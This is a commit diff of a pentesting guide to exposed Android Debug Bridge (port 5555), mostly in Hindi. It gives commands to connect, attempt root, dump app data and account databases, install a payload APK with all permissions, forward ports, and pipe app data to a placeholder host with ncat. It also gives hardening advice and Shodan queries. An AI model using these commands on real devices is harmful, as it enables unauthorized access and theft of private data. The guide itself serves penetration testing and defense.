Translated ['src/network-services-pentesting/5555-android-debug-bridge.m

This commit is contained in:
Translator 2025-08-19 00:39:19 +00:00
parent fa0887e185
commit fa009d66fc

View File

@ -6,40 +6,141 @@
From [the docs](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) एक बहुपरकारी कमांड-लाइन उपकरण है जो आपको एक डिवाइस के साथ संवाद करने की अनुमति देता है। adb कमांड विभिन्न डिवाइस क्रियाओं को सुविधाजनक बनाता है, जैसे कि **ऐप्स को स्थापित करना और डिबग करना**, और यह **एक Unix शेल** तक पहुंच प्रदान करता है जिसका उपयोग आप डिवाइस पर विभिन्न कमांड चलाने के लिए कर सकते हैं
Android Debug Bridge (adb) एक कमांड-लाइन टूल है जो Android-आधारित उपकरणों और इम्यूलेटर के साथ संवाद करने के लिए उपयोग किया जाता है। सामान्य क्रियाओं में पैकेज स्थापित करना, डिबगिंग करना, और उपकरण पर एक इंटरैक्टिव Unix शेल प्राप्त करना शामिल है
**डिफ़ॉल्ट पोर्ट**: 5555.
- ऐतिहासिक डिफ़ॉल्ट TCP पोर्ट: 5555 (क्लासिक "adb tcpip" मोड)।
- आधुनिक वायरलेस डिबगिंग (Android 11+) TLS पेयरिंग और mDNS सेवा खोज का उपयोग करता है। कनेक्ट पोर्ट गतिशील है और mDNS के माध्यम से खोजा जाता है; यह 5555 नहीं हो सकता है। पेयरिंग adb pair host:port के साथ की जाती है उसके बाद adb connect। आक्रामक निहितार्थों के लिए नीचे नोट्स देखें।
Example nmap fingerprint:
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Connect
यदि आप किसी डिवाइस के पोर्ट में ADB सेवा चलती हुई पाते हैं और आप इससे कनेक्ट कर सकते हैं, **तो आप सिस्टम के अंदर एक शेल प्राप्त कर सकते हैं:**
यदि आप ADB को उजागर और पहुंच योग्य पाते हैं, तो जल्दी से कनेक्ट करने और सूचीबद्ध करने का प्रयास करें:
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
```
अधिक ADB कमांड के लिए निम्नलिखित पृष्ठ देखें:
- यदि डिवाइस ADB प्रमाणीकरण लागू करता है (ro.adb.secure=1), तो आपको पूर्व-प्रमाणित (USB RSA auth) होना पड़ेगा या Android 11+ वायरलेस डिबगिंग पेयरिंग का उपयोग करना पड़ेगा (जिसके लिए डिवाइस पर प्रदर्शित एक बार का कोड आवश्यक है)।
- कुछ विक्रेता छवियाँ, इंजीनियरिंग/यूजरडिबग बिल्ड, एमुलेटर्स, टीवी, STB और विकास किट बिना प्रमाणीकरण के या रूट के रूप में adbd को उजागर करते हैं। उन मामलों में, आप आमतौर पर सीधे एक शेल या रूट शेल में पहुँचेंगे।
सामान्य ADB कमांड संदर्भ के लिए, देखें:
{{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
### ऐप डेटा डंप करें
## त्वरित पोस्ट-एक्सप्लॉइटेशन
किसी एप्लिकेशन के डेटा को पूरी तरह से डाउनलोड करने के लिए आप:
एक बार जब आपके पास शेल हो, तो विशेषाधिकार और SELinux संदर्भ को मान्य करें:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
आप इस ट्रिक का उपयोग **संवेदनशील जानकारी जैसे क्रोम पासवर्ड** प्राप्त करने के लिए कर सकते हैं। इस बारे में अधिक जानकारी के लिए दिए गए संदर्भों की जानकारी देखें [**यहां**](https://github.com/carlospolop/hacktricks/issues/274).
### Enumerate and capture data
- तीसरे पक्ष के ऐप और पथों की सूची बनाएं:
```bash
pm list packages -3
pm path <pkg>
```
- यदि आपके पास रूट है (adb root या su काम करता है), तो आप सीधे /data तक पहुंच सकते हैं। यदि नहीं, तो डिबग करने योग्य ऐप्स के लिए run-as का उपयोग करें:
```bash
# बिना रूट के, एक डिबग करने योग्य ऐप के लिए
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# रूट के साथ
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- उपयोगी सिस्टम आर्टिफैक्ट (रूट की आवश्यकता):
- /data/system/users/0/accounts.db और संबंधित AccountManager डेटा
- /data/misc/wifi/ (पुराने संस्करणों पर नेटवर्क कॉन्फ़िग्स/की)
- ऐप-विशिष्ट SQLite DBs और shared_prefs /data/data/<pkg> के तहत
आप इसका उपयोग संवेदनशील जानकारी (जैसे, ऐप रहस्य) प्राप्त करने के लिए कर सकते हैं। Chrome डेटा विचारों के बारे में नोट्स के लिए, संदर्भित मुद्दे को देखें [यहां](https://github.com/carlospolop/hacktricks/issues/274).
### Code execution and payload delivery
- इंस्टॉल करें और रनटाइम अनुमतियों को स्वचालित रूप से दें:
```bash
adb install -r -g payload.apk # -g मैनिफेस्ट में घोषित सभी रनटाइम अनुमतियों को देता है
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- गतिविधियों/सेवाओं/प्रसारणों को सीधे शुरू करें:
```bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
```
### Port forwarding and pivoting
रूट के बिना भी, adb स्थानीय पोर्ट को डिवाइस पोर्ट पर और इसके विपरीत अग्रेषित कर सकता है। यह डिवाइस पर स्थानीय रूप से बंधी सेवाओं तक पहुंचने या हमलावर सेवाओं को डिवाइस पर उजागर करने के लिए उपयोगी है।
- होस्ट->डिवाइस अग्रेषित करें (अपने होस्ट से डिवाइस-स्थानीय सेवा तक पहुंचें):
```bash
adb forward tcp:2222 tcp:22 # यदि डिवाइस SSH चलाता है (जैसे, Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # ऐप के स्थानीय डिबग सर्वर को उजागर करें
```
- रिवर्स डिवाइस->होस्ट (डिवाइस को आपके होस्ट पर एक सेवा तक पहुंचने दें):
```bash
adb reverse tcp:1080 tcp:1080 # डिवाइस ऐप अब होस्ट:1080 को 127.0.0.1:1080 के रूप में पहुंच सकते हैं
```
- सॉकेट के माध्यम से फ़ाइल निकासी (कोई sdcard लेखन नहीं):
```bash
# होस्ट पर: सुनें
ncat -lvp 9000 > dump.tar
# डिवाइस पर: निर्देशिका को tar के रूप में भेजें (रूट या लागू होने पर run-as)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## Wireless Debugging (Android 11+)
आधुनिक Android डिवाइस-साइड पेयरिंग और mDNS खोज के साथ TLS-सुरक्षित वायरलेस डिबगिंग को लागू करता है:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
```
Notes
- पोर्ट गतिशील हैं; 5555 मान न मानें। mDNS सेवा नाम इस प्रकार हैं:
- _adb-tls-pairing._tcp (जोड़ना)
- _adb-tls-connect._tcp (जुड़ा हुआ कनेक्ट)
- _adb._tcp (विरासत/सादा)
- यदि mDNS फ़िल्टर किया गया है, तो कुछ बिल्ड पर क्लासिक USB-सहायता सक्षम करना अभी भी काम कर सकता है: `adb tcpip 5555` फिर `adb connect <ip>:5555` (रीबूट होने तक)।
आक्रामक निहितार्थ: यदि आप डिवाइस UI के साथ इंटरैक्ट कर सकते हैं (जैसे, भौतिक पहुंच या मोबाइल MDM गलत कॉन्फ़िगरेशन) वायरलेस डिबगिंग सक्षम करने और जोड़ने के कोड को देखने के लिए, तो आप बिना केबल के एक लंबे समय तक जुड़े ADB चैनल स्थापित कर सकते हैं। कुछ OEMs बिना जोड़ने के इंजीनियरिंग/डेव बिल्ड में TCP पर ADB को उजागर करते हैं—हमेशा जांचें।
## Hardening / Detection
रक्षा करने वालों को मान लेना चाहिए कि कोई भी पहुंच योग्य adbd (TCP) महत्वपूर्ण जोखिम है।
- जब आवश्यकता न हो, ADB और वायरलेस डिबगिंग को बंद करें। डेवलपर विकल्पों में USB डिबगिंग प्राधिकरणों को रद्द करें।
- सुनिश्चित करें कि नेटवर्क नीति अविश्वसनीय खंडों पर इनबाउंड TCP/5555 और mDNS-आधारित ADB खोज को ब्लॉक करती है।
- आपके नियंत्रण में उपकरणों पर:
```bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # TCP सुनने को बंद करें (या उपयोग करें: adb usb)
stop adbd; start adbd # डेमॉन को पुनः प्रारंभ करें
```
- कॉर्पोरेट नेटवर्क पर mDNS रिकॉर्ड `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` के लिए निगरानी करें और अप्रत्याशित 5555 श्रोता के लिए अलर्ट करें।
- असुरक्षित बिल्ड के लिए सूची बनाएं: `getprop ro.debuggable`, `ro.build.type`, और `ro.adb.secure`
## Shodan
- `android debug bridge`
- android debug bridge
- port:5555 product:"Android Debug Bridge"
## References
- Android Developers Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP ADB over WiFi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
{{#include ../banners/hacktricks-training.md}}